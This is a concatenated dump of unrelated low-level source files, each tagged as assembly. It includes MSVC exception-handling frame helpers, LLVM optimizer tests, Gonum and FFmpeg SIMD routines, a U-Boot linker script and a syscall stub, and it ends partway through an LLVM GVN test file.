mov ecx, [esp+12] ; get the alignment requirement
mov [esp+12], ebx ; save EBX in its final position
lea ebx, [esp+12] ; * and set the new EBX for addressing params
push eax ; save the handler thunk addr, free EAX for use
; stack has:
; callee's return addr
; saved EBX <== EBX
; allocation size
; ret addr
; saved ECX
; handler thunk addr <== ESP
;
; Now calculate the aligned stack pointer, which will be returned in
; EBP. Depending on the padding required, it will point at the ret
; addr in the above stack, or somewhere below that.
lea eax, [esp+8]
neg ecx
and eax, ecx
lea esp, [eax-8]
; ESP now points at or below its position in the previous comment,
; and ESP+8 has the required alignment. Everything below the saved
; EBX is potentially overlapped by the aligned stack frame we're about
; to create, so move those items to safety.
mov eax, [ebx-16] ; the handler thunk address can be moved into
mov [esp], eax ; * its final position (might not move)
mov eax, [ebx-8] ; copy down the ret addr
push eax
mov eax, [ebx-12] ; copy down the original ECX
push eax
mov eax, [ebx-4] ; get the allocation size for later
; stack has:
; callee's return addr
; saved EBX <== EBX
; ... possible padding to align stack ...
; (uninitialized) callee's return addr
; (uninitialized) saved EBP (aligned stack location)
; (uninitialized) EH state index
; handler thunk addr
; ret addr
; saved ECX <== ESP
mov [esp+16], ebp ; save old EBP and set new EBP frame pointer
lea ebp, [esp+16] ; * for addressing locals
mov dword ptr [esp+12], -1 ; initialize the EH state index
; stack has:
; callee's return addr
; saved EBX <== EBX
; ... possible padding to align stack ...
; (uninitialized) callee's return addr
; saved EBP <== EBP (aligned stack location)
; initial EH state index of -1
; handler thunk addr
; ret addr
; saved ECX <== ESP
push ebx ; save copy of EBX at EBP-16 for funclet use
and ecx, esp ; get address of realignment point
sub esp, eax ; allocate the locals allocation space
push esi ; save callee-saved regs
push edi
; stack has:
; callee's return addr
; saved EBX <== EBX
; ... possible padding to align stack ...
; (uninitialized) callee's return addr
; saved EBP <== EBP (aligned stack location)
; initial EH state index of -1
; handler thunk addr
; ret addr
; saved ECX
; saved value of EBX on exit
; ... possible padding to realign stack ... <== ECX (aligned)
; (uninitialized) local GS security cookie
; locals allocation area
; saved ESI
; saved EDI <== ESP
mov eax, __security_cookie
xor eax, ebp ; generate local EH and GS cookies
push eax
mov [ecx-4], eax
mov ecx, [ebp-16] ; restore the original ECX
mov [ebp-16], esp ; initialize the EH node's saved ESP field
mov eax, [ebx+4] ; copy callee's return addr above saved EBP
mov [ebp+4], eax ; * so EBP-based stackwalks work better
push [ebp-12] ; move the return address to final position
mov eax, fs:[0] ; set link to next node in EH chain
mov [ebp-12], eax
; stack has:
; callee's return addr
; saved EBX <== EBX
; ... possible padding to align stack ...
; callee's return addr
; saved EBP <== EBP (aligned stack location)
; initial EH state index of -1
; handler thunk addr
; saved FS:[0]
; saved ESP field of EH node
; saved value of EBX on exit
; ... possible padding to realign stack ...
; local GS security cookie
; locals allocation area
; saved ESI
; saved EDI
; local EH security cookie
; ret addr <== ESP
lea eax, [ebp-12] ; all done - link in the EH node
mov fs:[0], eax
bnd ret ; adds 0xF2(BND)prefix to preserve bounds
}
}
/***
*_EH_epilog3_align - Tear down C++ EH call frame variation
*
*Purpose:
* Destroy a call frame set up by _EH_prolog3_align or _EH_prolog3_catch_align.
*
*Entry:
* ESP = value it had on return from _EH_prolog3_align or
* _EH_prolog3_catch_align
* EBP = value it had on return from _EH_prolog3_align or
* _EH_prolog3_catch_align
* EBX = value it had on return from _EH_prolog3_align or
* _EH_prolog3_catch_align
*
*Exit:
* ESP = pointer to the callee's return address
* EBX, ESI, EDI, EBP restored from frame
* ECX destroyed
* All other registers except CC preserved
*
*******************************************************************************/
extern void __declspec(naked)
_EH_epilog3_align(
void
)
{
__asm
{
mov ecx, [ebp-12] ; remove EH node from EH chain
mov fs:[0], ecx
pop ecx ; save return address
pop edi ; pop and ignore the EH cookie
pop edi ; restore callee-saves
pop esi
mov esp, ebp ; free aligned stack
pop ebp ; restore local frame pointer
mov esp, ebx ; free unaligned stack
pop ebx ; restore parameter frame pointer
push ecx ; push return address
bnd ret 0 ; adds 0xF2(BND)prefix to preserve bounds
}
}
/***
*_EH_epilog3_GS_align - Tear down C++ EH call frame variation
*
*Purpose:
* Destroy a call frame set up by _EH_prolog3_GS_align or
* _EH_prolog3_catch_align, after first checking that the local /GS security
* cookie is correct.
*
* This helper version does not load the cookie itself because it doesn't
* know where it's located. It would need to be passed the alignment to know
* that, so it might as well be passed the cookie value directly.
*
*Entry:
* ESP = value it had on return from _EH_prolog3_GS
* EBP = value it had on return from _EH_prolog3_GS
* EBX = value it had on return from _EH_prolog3_GS
* ECX = GS cookie from callee's frame
*
*Exit:
* ESP = pointer to the callee's return address
* EBX, ESI, EDI, EBP restored from frame
* ECX destroyed
* All other registers except CC preserved
*
*******************************************************************************/
extern void __declspec(naked)
_EH_epilog3_GS_align(
void
)
{
__asm
{
xor ecx, ebp ; rematerialize the global cookie and
bnd call __security_check_cookie ; * check its validity
bnd jmp _EH_epilog3_align ; go tear down the frame
}
}
|
{
"language": "Assembly"
}
|
; NOTE: Assertions have been autogenerated by utils/update_test_checks.py
; The tests in this file check that we do not simplify based on metadata that is
; not available on all code paths.
; RUN: opt < %s -S -newgvn | FileCheck %s
define i1 @test1(i32** %arg, i1 %arg2) {
; CHECK-LABEL: @test1(
; CHECK-NEXT: br i1 [[ARG2:%.*]], label [[BB1:%.*]], label [[BB2:%.*]]
; CHECK: bb1:
; CHECK-NEXT: [[LOAD1:%.*]] = load i32*, i32** [[ARG:%.*]], !nonnull !0
; CHECK-NEXT: [[CMP1:%.*]] = icmp eq i32* [[LOAD1]], null
; CHECK-NEXT: ret i1 [[CMP1]]
; CHECK: bb2:
; CHECK-NEXT: [[LOAD2:%.*]] = load i32*, i32** [[ARG]]
; CHECK-NEXT: [[CMP2:%.*]] = icmp eq i32* [[LOAD2]], null
; CHECK-NEXT: ret i1 [[CMP2]]
;
br i1 %arg2, label %bb1, label %bb2
bb1:
%load1 = load i32*, i32** %arg, !nonnull !0
%cmp1 = icmp eq i32* %load1, null
ret i1 %cmp1
bb2:
%load2 = load i32*, i32** %arg
%cmp2 = icmp eq i32* %load2, null
ret i1 %cmp2
}
define i1 @test2(i32** %arg, i1 %arg2) {
; CHECK-LABEL: @test2(
; CHECK-NEXT: br i1 [[ARG2:%.*]], label [[BB1:%.*]], label [[BB2:%.*]]
; CHECK: bb1:
; CHECK-NEXT: [[LOAD1:%.*]] = load i32*, i32** [[ARG:%.*]]
; CHECK-NEXT: [[CMP1:%.*]] = icmp eq i32* [[LOAD1]], null
; CHECK-NEXT: ret i1 [[CMP1]]
; CHECK: bb2:
; CHECK-NEXT: [[LOAD2:%.*]] = load i32*, i32** [[ARG]], !nonnull !0
; CHECK-NEXT: [[CMP2:%.*]] = icmp eq i32* [[LOAD2]], null
; CHECK-NEXT: ret i1 [[CMP2]]
;
br i1 %arg2, label %bb1, label %bb2
bb1:
%load1 = load i32*, i32** %arg
%cmp1 = icmp eq i32* %load1, null
ret i1 %cmp1
bb2:
%load2 = load i32*, i32** %arg, !nonnull !0
%cmp2 = icmp eq i32* %load2, null
ret i1 %cmp2
}
define i1 @test3(i32* %ptr, i1 %arg2) {
; CHECK-LABEL: @test3(
; CHECK-NEXT: br i1 [[ARG2:%.*]], label [[BB1:%.*]], label [[BB2:%.*]]
; CHECK: bb1:
; CHECK-NEXT: [[LOAD1:%.*]] = load i32, i32* [[PTR:%.*]], !range !1
; CHECK-NEXT: [[CMP1:%.*]] = icmp ne i32 [[LOAD1]], 999
; CHECK-NEXT: ret i1 [[CMP1]]
; CHECK: bb2:
; CHECK-NEXT: [[LOAD2:%.*]] = load i32, i32* [[PTR]]
; CHECK-NEXT: [[CMP2:%.*]] = icmp ne i32 [[LOAD2]], 999
; CHECK-NEXT: ret i1 [[CMP2]]
;
br i1 %arg2, label %bb1, label %bb2
bb1:
%load1 = load i32, i32* %ptr, !range !1
%cmp1 = icmp ne i32 %load1, 999
ret i1 %cmp1
bb2:
%load2 = load i32, i32* %ptr
%cmp2 = icmp ne i32 %load2, 999
ret i1 %cmp2
}
define i1 @test4(i32* %ptr, i1 %arg2) {
; CHECK-LABEL: @test4(
; CHECK-NEXT: br i1 [[ARG2:%.*]], label [[BB1:%.*]], label [[BB2:%.*]]
; CHECK: bb1:
; CHECK-NEXT: [[LOAD1:%.*]] = load i32, i32* [[PTR:%.*]]
; CHECK-NEXT: [[CMP1:%.*]] = icmp ne i32 [[LOAD1]], 999
; CHECK-NEXT: ret i1 [[CMP1]]
; CHECK: bb2:
; CHECK-NEXT: [[LOAD2:%.*]] = load i32, i32* [[PTR]], !range !1
; CHECK-NEXT: [[CMP2:%.*]] = icmp ne i32 [[LOAD2]], 999
; CHECK-NEXT: ret i1 [[CMP2]]
;
br i1 %arg2, label %bb1, label %bb2
bb1:
%load1 = load i32, i32* %ptr
%cmp1 = icmp ne i32 %load1, 999
ret i1 %cmp1
bb2:
%load2 = load i32, i32* %ptr, !range !1
%cmp2 = icmp ne i32 %load2, 999
ret i1 %cmp2
}
define i1 @test5(i32* %ptr, i1 %arg2) {
; CHECK-LABEL: @test5(
; CHECK-NEXT: br i1 [[ARG2:%.*]], label [[BB1:%.*]], label [[BB2:%.*]]
; CHECK: bb1:
; CHECK-NEXT: [[LOAD1:%.*]] = load i32, i32* [[PTR:%.*]], !range !1
; CHECK-NEXT: [[CMP1:%.*]] = icmp slt i32 [[LOAD1]], 999
; CHECK-NEXT: ret i1 [[CMP1]]
; CHECK: bb2:
; CHECK-NEXT: [[LOAD2:%.*]] = load i32, i32* [[PTR]]
; CHECK-NEXT: [[CMP2:%.*]] = icmp slt i32 [[LOAD2]], 999
; CHECK-NEXT: ret i1 [[CMP2]]
;
br i1 %arg2, label %bb1, label %bb2
bb1:
%load1 = load i32, i32* %ptr, !range !1
%cmp1 = icmp slt i32 %load1, 999
ret i1 %cmp1
bb2:
%load2 = load i32, i32* %ptr
%cmp2 = icmp slt i32 %load2, 999
ret i1 %cmp2
}
define i1 @test6(i32* %ptr, i1 %arg2) {
; CHECK-LABEL: @test6(
; CHECK-NEXT: br i1 [[ARG2:%.*]], label [[BB1:%.*]], label [[BB2:%.*]]
; CHECK: bb1:
; CHECK-NEXT: [[LOAD1:%.*]] = load i32, i32* [[PTR:%.*]]
; CHECK-NEXT: [[CMP1:%.*]] = icmp slt i32 [[LOAD1]], 999
; CHECK-NEXT: ret i1 [[CMP1]]
; CHECK: bb2:
; CHECK-NEXT: [[LOAD2:%.*]] = load i32, i32* [[PTR]], !range !1
; CHECK-NEXT: [[CMP2:%.*]] = icmp slt i32 [[LOAD2]], 999
; CHECK-NEXT: ret i1 [[CMP2]]
;
br i1 %arg2, label %bb1, label %bb2
bb1:
%load1 = load i32, i32* %ptr
%cmp1 = icmp slt i32 %load1, 999
ret i1 %cmp1
bb2:
%load2 = load i32, i32* %ptr, !range !1
%cmp2 = icmp slt i32 %load2, 999
ret i1 %cmp2
}
!0 = !{}
!1 = !{ i32 10, i32 20 }
|
{
"language": "Assembly"
}
|
// Copyright ©2018 The Gonum Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build !noasm,!appengine,!safe
#include "textflag.h"
#define X_PTR SI
#define IDX AX
#define LEN CX
#define TAIL BX
#define SUM X0
#define SUM_1 X1
#define SUM_2 X2
#define SUM_3 X3
// func Sum(x []float64) float64
TEXT ·Sum(SB), NOSPLIT, $0
MOVQ x_base+0(FP), X_PTR // X_PTR = &x
MOVQ x_len+8(FP), LEN // LEN = len(x)
XORQ IDX, IDX // i = 0
PXOR SUM, SUM // p_sum_i = 0
CMPQ LEN, $0 // if LEN == 0 { return 0 }
JE sum_end
PXOR SUM_1, SUM_1
PXOR SUM_2, SUM_2
PXOR SUM_3, SUM_3
MOVQ X_PTR, TAIL // Check memory alignment
ANDQ $15, TAIL // TAIL = &y % 16
JZ no_trim // if TAIL == 0 { goto no_trim }
// Align on 16-byte boundary
ADDSD (X_PTR), X0 // X0 += x[0]
INCQ IDX // i++
DECQ LEN // LEN--
DECQ TAIL // TAIL--
JZ sum_end // if TAIL == 0 { return }
no_trim:
MOVQ LEN, TAIL
SHRQ $4, LEN // LEN = floor( n / 16 )
JZ sum_tail8 // if LEN == 0 { goto sum_tail8 }
sum_loop: // sum 16x wide do {
ADDPD (SI)(AX*8), SUM // sum_i += x[i:i+2]
ADDPD 16(SI)(AX*8), SUM_1
ADDPD 32(SI)(AX*8), SUM_2
ADDPD 48(SI)(AX*8), SUM_3
ADDPD 64(SI)(AX*8), SUM
ADDPD 80(SI)(AX*8), SUM_1
ADDPD 96(SI)(AX*8), SUM_2
ADDPD 112(SI)(AX*8), SUM_3
ADDQ $16, IDX // i += 16
DECQ LEN
JNZ sum_loop // } while --CX > 0
sum_tail8:
TESTQ $8, TAIL
JZ sum_tail4
ADDPD (SI)(AX*8), SUM // sum_i += x[i:i+2]
ADDPD 16(SI)(AX*8), SUM_1
ADDPD 32(SI)(AX*8), SUM_2
ADDPD 48(SI)(AX*8), SUM_3
ADDQ $8, IDX
sum_tail4:
ADDPD SUM_3, SUM
ADDPD SUM_2, SUM_1
TESTQ $4, TAIL
JZ sum_tail2
ADDPD (SI)(AX*8), SUM // sum_i += x[i:i+2]
ADDPD 16(SI)(AX*8), SUM_1
ADDQ $4, IDX
sum_tail2:
ADDPD SUM_1, SUM
TESTQ $2, TAIL
JZ sum_tail1
ADDPD (SI)(AX*8), SUM // sum_i += x[i:i+2]
ADDQ $2, IDX
sum_tail1:
HADDPD SUM, SUM // sum_i[0] += sum_i[1]
TESTQ $1, TAIL
JZ sum_end
ADDSD (SI)(IDX*8), SUM
sum_end: // return sum
MOVSD SUM, ret+24(FP)
RET
|
{
"language": "Assembly"
}
|
/*
* Alpha optimized DSP utils
* Copyright (c) 2002 Falk Hueffner <falk@debian.org>
*
* This file is part of FFmpeg.
*
* FFmpeg is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* FFmpeg is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with FFmpeg; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include "regdef.h"
/* Some nicer register names. */
#define ta t10
#define tb t11
#define tc t12
#define td AT
/* Danger: these overlap with the argument list and the return value */
#define te a5
#define tf a4
#define tg a3
#define th v0
.set noat
.set noreorder
.arch pca56
.text
/*****************************************************************************
* int pix_abs16x16_mvi_asm(uint8_t *pix1, uint8_t *pix2, int line_size)
*
* This code is written with a pca56 in mind. For ev6, one should
* really take the increased latency of 3 cycles for MVI instructions
* into account.
*
* It is important to keep the loading and first use of a register as
* far apart as possible, because if a register is accessed before it
* has been fetched from memory, the CPU will stall.
*/
.align 4
.globl pix_abs16x16_mvi_asm
.ent pix_abs16x16_mvi_asm
pix_abs16x16_mvi_asm:
.frame sp, 0, ra, 0
.prologue 0
#if CONFIG_GPROF
lda AT, _mcount
jsr AT, (AT), _mcount
#endif
and a2, 7, t0
clr v0
beq t0, $aligned
.align 4
$unaligned:
/* Registers:
line 0:
t0: left_u -> left lo -> left
t1: mid
t2: right_u -> right hi -> right
t3: ref left
t4: ref right
line 1:
t5: left_u -> left lo -> left
t6: mid
t7: right_u -> right hi -> right
t8: ref left
t9: ref right
temp:
ta: left hi
tb: right lo
tc: error left
td: error right */
/* load line 0 */
ldq_u t0, 0(a2) # left_u
ldq_u t1, 8(a2) # mid
ldq_u t2, 16(a2) # right_u
ldq t3, 0(a1) # ref left
ldq t4, 8(a1) # ref right
addq a1, a3, a1 # pix1
addq a2, a3, a2 # pix2
/* load line 1 */
ldq_u t5, 0(a2) # left_u
ldq_u t6, 8(a2) # mid
ldq_u t7, 16(a2) # right_u
ldq t8, 0(a1) # ref left
ldq t9, 8(a1) # ref right
addq a1, a3, a1 # pix1
addq a2, a3, a2 # pix2
/* calc line 0 */
extql t0, a2, t0 # left lo
extqh t1, a2, ta # left hi
extql t1, a2, tb # right lo
or t0, ta, t0 # left
extqh t2, a2, t2 # right hi
perr t3, t0, tc # error left
or t2, tb, t2 # right
perr t4, t2, td # error right
addq v0, tc, v0 # add error left
addq v0, td, v0 # add error left
/* calc line 1 */
extql t5, a2, t5 # left lo
extqh t6, a2, ta # left hi
extql t6, a2, tb # right lo
or t5, ta, t5 # left
extqh t7, a2, t7 # right hi
perr t8, t5, tc # error left
or t7, tb, t7 # right
perr t9, t7, td # error right
addq v0, tc, v0 # add error left
addq v0, td, v0 # add error left
/* loop */
subq a4, 2, a4 # h -= 2
bne a4, $unaligned
ret
.align 4
$aligned:
/* load line 0 */
ldq t0, 0(a2) # left
ldq t1, 8(a2) # right
addq a2, a3, a2 # pix2
ldq t2, 0(a1) # ref left
ldq t3, 8(a1) # ref right
addq a1, a3, a1 # pix1
/* load line 1 */
ldq t4, 0(a2) # left
ldq t5, 8(a2) # right
addq a2, a3, a2 # pix2
ldq t6, 0(a1) # ref left
ldq t7, 8(a1) # ref right
addq a1, a3, a1 # pix1
/* load line 2 */
ldq t8, 0(a2) # left
ldq t9, 8(a2) # right
addq a2, a3, a2 # pix2
ldq ta, 0(a1) # ref left
ldq tb, 8(a1) # ref right
addq a1, a3, a1 # pix1
/* load line 3 */
ldq tc, 0(a2) # left
ldq td, 8(a2) # right
addq a2, a3, a2 # pix2
ldq te, 0(a1) # ref left
ldq a0, 8(a1) # ref right
/* calc line 0 */
perr t0, t2, t0 # error left
addq a1, a3, a1 # pix1
perr t1, t3, t1 # error right
addq v0, t0, v0 # add error left
/* calc line 1 */
perr t4, t6, t0 # error left
addq v0, t1, v0 # add error right
perr t5, t7, t1 # error right
addq v0, t0, v0 # add error left
/* calc line 2 */
perr t8, ta, t0 # error left
addq v0, t1, v0 # add error right
perr t9, tb, t1 # error right
addq v0, t0, v0 # add error left
/* calc line 3 */
perr tc, te, t0 # error left
addq v0, t1, v0 # add error right
perr td, a0, t1 # error right
addq v0, t0, v0 # add error left
addq v0, t1, v0 # add error right
/* loop */
subq a4, 4, a4 # h -= 4
bne a4, $aligned
ret
.end pix_abs16x16_mvi_asm
|
{
"language": "Assembly"
}
|
/*
* Copyright (c) 2004-2008 Texas Instruments
*
* (C) Copyright 2002
* Gary Jennejohn, DENX Software Engineering, <garyj@denx.de>
*
* See file CREDITS for list of people who contributed to this
* project.
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as
* published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston,
* MA 02111-1307 USA
*/
OUTPUT_FORMAT("elf32-littlearm", "elf32-littlearm", "elf32-littlearm")
OUTPUT_ARCH(arm)
ENTRY(_start)
SECTIONS
{
. = 0x00000000;
. = ALIGN(4);
.text :
{
*(.__image_copy_start)
CPUDIR/start.o (.text*)
board/ti/am335x/built-in.o (.text*)
*(.text*)
}
. = ALIGN(4);
.rodata : { *(SORT_BY_ALIGNMENT(SORT_BY_NAME(.rodata*))) }
. = ALIGN(4);
.data : {
*(.data*)
}
. = ALIGN(4);
. = .;
. = ALIGN(4);
.u_boot_list : {
KEEP(*(SORT(.u_boot_list*)));
}
. = ALIGN(4);
.image_copy_end :
{
*(.__image_copy_end)
}
.rel_dyn_start :
{
*(.__rel_dyn_start)
}
.rel.dyn : {
*(.rel*)
}
.rel_dyn_end :
{
*(.__rel_dyn_end)
}
.end :
{
*(.__end)
}
_image_binary_end = .;
/*
* Deprecated: this MMU section is used by pxa at present but
* should not be used by new boards/CPUs.
*/
. = ALIGN(4096);
.mmutable : {
*(.mmutable)
}
/*
* Compiler-generated __bss_start and __bss_end, see arch/arm/lib/bss.c
* __bss_base and __bss_limit are for linker only (overlay ordering)
*/
.bss_start __rel_dyn_start (OVERLAY) : {
KEEP(*(.__bss_start));
__bss_base = .;
}
.bss __bss_base (OVERLAY) : {
*(.bss*)
. = ALIGN(4);
__bss_limit = .;
}
.bss_end __bss_limit (OVERLAY) : {
KEEP(*(.__bss_end));
}
.dynsym _image_binary_end : { *(.dynsym) }
.dynbss : { *(.dynbss) }
.dynstr : { *(.dynstr*) }
.dynamic : { *(.dynamic*) }
.hash : { *(.hash*) }
.plt : { *(.plt*) }
.interp : { *(.interp*) }
.gnu : { *(.gnu*) }
.ARM.exidx : { *(.ARM.exidx*) }
}
|
{
"language": "Assembly"
}
|
/* autogenerated by gensyscalls.py */
#include <sys/linux-syscalls.h>
.text
.type setregid, @function
.globl setregid
.align 4
setregid:
pushl %ebx
pushl %ecx
mov 12(%esp), %ebx
mov 16(%esp), %ecx
movl $__NR_setregid32, %eax
int $0x80
cmpl $-129, %eax
jb 1f
negl %eax
pushl %eax
call __set_errno
addl $4, %esp
orl $-1, %eax
1:
popl %ecx
popl %ebx
ret
|
{
"language": "Assembly"
}
|
(text
(mov eax 10)
; this should loop 7 times
(label foo
(if (= eax 3)
(with-win (ret))
(with-win foo
(sub eax 1)))))
; 00000000 B80A000000 mov eax,0xa
; 00000005 83F803 cmp eax,byte +0x3
; 00000008 7501 jnz 0xb
; 0000000A C3 ret
; 0000000B 83E801 sub eax,byte +0x1
; 0000000E E9F2FFFFFF jmp 0x5
|
{
"language": "Assembly"
}
|
# RUN: llvm-mc -triple x86_64-unknown-darwin %s | FileCheck %s
# CHECK: __DATA,__thread_data,thread_local_regular
# CHECK: _a$tlv$init:
# CHECK: .quad 4
.tdata
_a$tlv$init:
.quad 4
|
{
"language": "Assembly"
}
|
; RUN: opt < %s -default-data-layout="e-p:32:32:32-p1:16:16:16-i1:8:8-i8:8:8-i16:16:16-i32:32:32-i64:32:64-f32:32:32-f64:32:64-n8:16:32" -basicaa -gvn -S -die | FileCheck %s
; RUN: opt < %s -default-data-layout="E-p:32:32:32-p1:16:16:16-i1:8:8-i8:8:8-i16:16:16-i32:32:32-i64:32:64-f32:32:32-f64:64:64-n32" -basicaa -gvn -S -die | FileCheck %s
;; Trivial RLE test.
define i32 @test0(i32 %V, i32* %P) {
store i32 %V, i32* %P
%A = load i32* %P
ret i32 %A
; CHECK-LABEL: @test0(
; CHECK: ret i32 %V
}
;;===----------------------------------------------------------------------===;;
;; Tests for crashers
;;===----------------------------------------------------------------------===;;
;; PR5016
define i8 @crash0({i32, i32} %A, {i32, i32}* %P) {
store {i32, i32} %A, {i32, i32}* %P
%X = bitcast {i32, i32}* %P to i8*
%Y = load i8* %X
ret i8 %Y
}
;; No PR filed, crashed in CaptureTracker.
declare void @helper()
define void @crash1() {
tail call void @llvm.memcpy.p0i8.p0i8.i64(i8* undef, i8* undef, i64 undef, i32 1, i1 false) nounwind
%tmp = load i8* bitcast (void ()* @helper to i8*)
%x = icmp eq i8 %tmp, 15
ret void
}
;;===----------------------------------------------------------------------===;;
;; Store -> Load and Load -> Load forwarding where src and dst are different
;; types, but where the base pointer is a must alias.
;;===----------------------------------------------------------------------===;;
;; i32 -> f32 forwarding.
define float @coerce_mustalias1(i32 %V, i32* %P) {
store i32 %V, i32* %P
%P2 = bitcast i32* %P to float*
%A = load float* %P2
ret float %A
; CHECK-LABEL: @coerce_mustalias1(
; CHECK-NOT: load
; CHECK: ret float
}
;; i32* -> float forwarding.
define float @coerce_mustalias2(i32* %V, i32** %P) {
store i32* %V, i32** %P
%P2 = bitcast i32** %P to float*
%A = load float* %P2
ret float %A
; CHECK-LABEL: @coerce_mustalias2(
; CHECK-NOT: load
; CHECK: ret float
}
;; float -> i32* forwarding.
define i32* @coerce_mustalias3(float %V, float* %P) {
store float %V, float* %P
%P2 = bitcast float* %P to i32**
%A = load i32** %P2
ret i32* %A
; CHECK-LABEL: @coerce_mustalias3(
; CHECK-NOT: load
; CHECK: ret i32*
}
;; i32 -> f32 load forwarding.
define float @coerce_mustalias4(i32* %P, i1 %cond) {
%A = load i32* %P
%P2 = bitcast i32* %P to float*
%B = load float* %P2
br i1 %cond, label %T, label %F
T:
ret float %B
F:
%X = bitcast i32 %A to float
ret float %X
; CHECK-LABEL: @coerce_mustalias4(
; CHECK: %A = load i32* %P
; CHECK-NOT: load
; CHECK: ret float
; CHECK: F:
}
;; i32 -> i8 forwarding
define i8 @coerce_mustalias5(i32 %V, i32* %P) {
store i32 %V, i32* %P
%P2 = bitcast i32* %P to i8*
%A = load i8* %P2
ret i8 %A
; CHECK-LABEL: @coerce_mustalias5(
; CHECK-NOT: load
; CHECK: ret i8
}
;; i64 -> float forwarding
define float @coerce_mustalias6(i64 %V, i64* %P) {
store i64 %V, i64* %P
%P2 = bitcast i64* %P to float*
%A = load float* %P2
ret float %A
; CHECK-LABEL: @coerce_mustalias6(
; CHECK-NOT: load
; CHECK: ret float
}
;; i64 -> i8* (32-bit) forwarding
define i8* @coerce_mustalias7(i64 %V, i64* %P) {
store i64 %V, i64* %P
%P2 = bitcast i64* %P to i8**
%A = load i8** %P2
ret i8* %A
; CHECK-LABEL: @coerce_mustalias7(
; CHECK-NOT: load
; CHECK: ret i8*
}
; memset -> i16 forwarding.
define signext i16 @memset_to_i16_local(i16* %A) nounwind ssp {
entry:
%conv = bitcast i16* %A to i8*
tail call void @llvm.memset.p0i8.i64(i8* %conv, i8 1, i64 200, i32 1, i1 false)
%arrayidx = getelementptr inbounds i16* %A, i64 42
%tmp2 = load i16* %arrayidx
ret i16 %tmp2
; CHECK-LABEL: @memset_to_i16_local(
; CHECK-NOT: load
; CHECK: ret i16 257
}
; memset -> float forwarding.
define float @memset_to_float_local(float* %A, i8 %Val) nounwind ssp {
entry:
%conv = bitcast float* %A to i8* ; <i8*> [#uses=1]
tail call void @llvm.memset.p0i8.i64(i8* %conv, i8 %Val, i64 400, i32 1, i1 false)
%arrayidx = getelementptr inbounds float* %A, i64 42 ; <float*> [#uses=1]
%tmp2 = load float* %arrayidx ; <float> [#uses=1]
ret float %tmp2
; CHECK-LABEL: @memset_to_float_local(
; CHECK-NOT: load
; CHECK: zext
; CHECK-NEXT: shl
; CHECK-NEXT: or
; CHECK-NEXT: shl
; CHECK-NEXT: or
; CHECK-NEXT: bitcast
; CHECK-NEXT: ret float
}
;; non-local memset -> i16 load forwarding.
define i16 @memset_to_i16_nonlocal0(i16* %P, i1 %cond) {
%P3 = bitcast i16* %P to i8*
br i1 %cond, label %T, label %F
T:
tail call void @llvm.memset.p0i8.i64(i8* %P3, i8 1, i64 400, i32 1, i1 false)
br label %Cont
F:
tail call void @llvm.memset.p0i8.i64(i8* %P3, i8 2, i64 400, i32 1, i1 false)
br label %Cont
Cont:
%P2 = getelementptr i16* %P, i32 4
%A = load i16* %P2
ret i16 %A
; CHECK-LABEL: @memset_to_i16_nonlocal0(
; CHECK: Cont:
; CHECK-NEXT: %A = phi i16 [ 514, %F ], [ 257, %T ]
; CHECK-NOT: load
; CHECK: ret i16 %A
}
@GCst = constant {i32, float, i32 } { i32 42, float 14., i32 97 }
@GCst_as1 = addrspace(1) constant {i32, float, i32 } { i32 42, float 14., i32 97 }
; memset -> float forwarding.
define float @memcpy_to_float_local(float* %A) nounwind ssp {
entry:
%conv = bitcast float* %A to i8* ; <i8*> [#uses=1]
tail call void @llvm.memcpy.p0i8.p0i8.i64(i8* %conv, i8* bitcast ({i32, float, i32 }* @GCst to i8*), i64 12, i32 1, i1 false)
%arrayidx = getelementptr inbounds float* %A, i64 1 ; <float*> [#uses=1]
%tmp2 = load float* %arrayidx ; <float> [#uses=1]
ret float %tmp2
; CHECK-LABEL: @memcpy_to_float_local(
; CHECK-NOT: load
; CHECK: ret float 1.400000e+01
}
; memcpy from address space 1
define float @memcpy_to_float_local_as1(float* %A) nounwind ssp {
entry:
%conv = bitcast float* %A to i8* ; <i8*> [#uses=1]
tail call void @llvm.memcpy.p0i8.p1i8.i64(i8* %conv, i8 addrspace(1)* bitcast ({i32, float, i32 } addrspace(1)* @GCst_as1 to i8 addrspace(1)*), i64 12, i32 1, i1 false)
%arrayidx = getelementptr inbounds float* %A, i64 1 ; <float*> [#uses=1]
%tmp2 = load float* %arrayidx ; <float> [#uses=1]
ret float %tmp2
; CHECK-LABEL: @memcpy_to_float_local_as1(
; CHECK-NOT: load
; CHECK: ret float 1.400000e+01
}
;; non-local i32/float -> i8 load forwarding.
define i8 @coerce_mustalias_nonlocal0(i32* %P, i1 %cond) {
%P2 = bitcast i32* %P to float*
%P3 = bitcast i32* %P to i8*
br i1 %cond, label %T, label %F
T:
store i32 42, i32* %P
br label %Cont
F:
store float 1.0, float* %P2
br label %Cont
Cont:
%A = load i8* %P3
ret i8 %A
; CHECK-LABEL: @coerce_mustalias_nonlocal0(
; CHECK: Cont:
; CHECK: %A = phi i8 [
; CHECK-NOT: load
; CHECK: ret i8 %A
}
;; non-local i32/float -> i8 load forwarding. This also tests that the "P3"
;; bitcast equivalence can be properly phi translated.
define i8 @coerce_mustalias_nonlocal1(i32* %P, i1 %cond) {
%P2 = bitcast i32* %P to float*
br i1 %cond, label %T, label %F
T:
store i32 42, i32* %P
br label %Cont
F:
store float 1.0, float* %P2
br label %Cont
Cont:
%P3 = bitcast i32* %P to i8*
%A = load i8* %P3
ret i8 %A
; CHECK-LABEL: @coerce_mustalias_nonlocal1(
; CHECK: Cont:
; CHECK: %A = phi i8 [
; CHECK-NOT: load
; CHECK: ret i8 %A
}
;; non-local i32 -> i8 partial redundancy load forwarding.
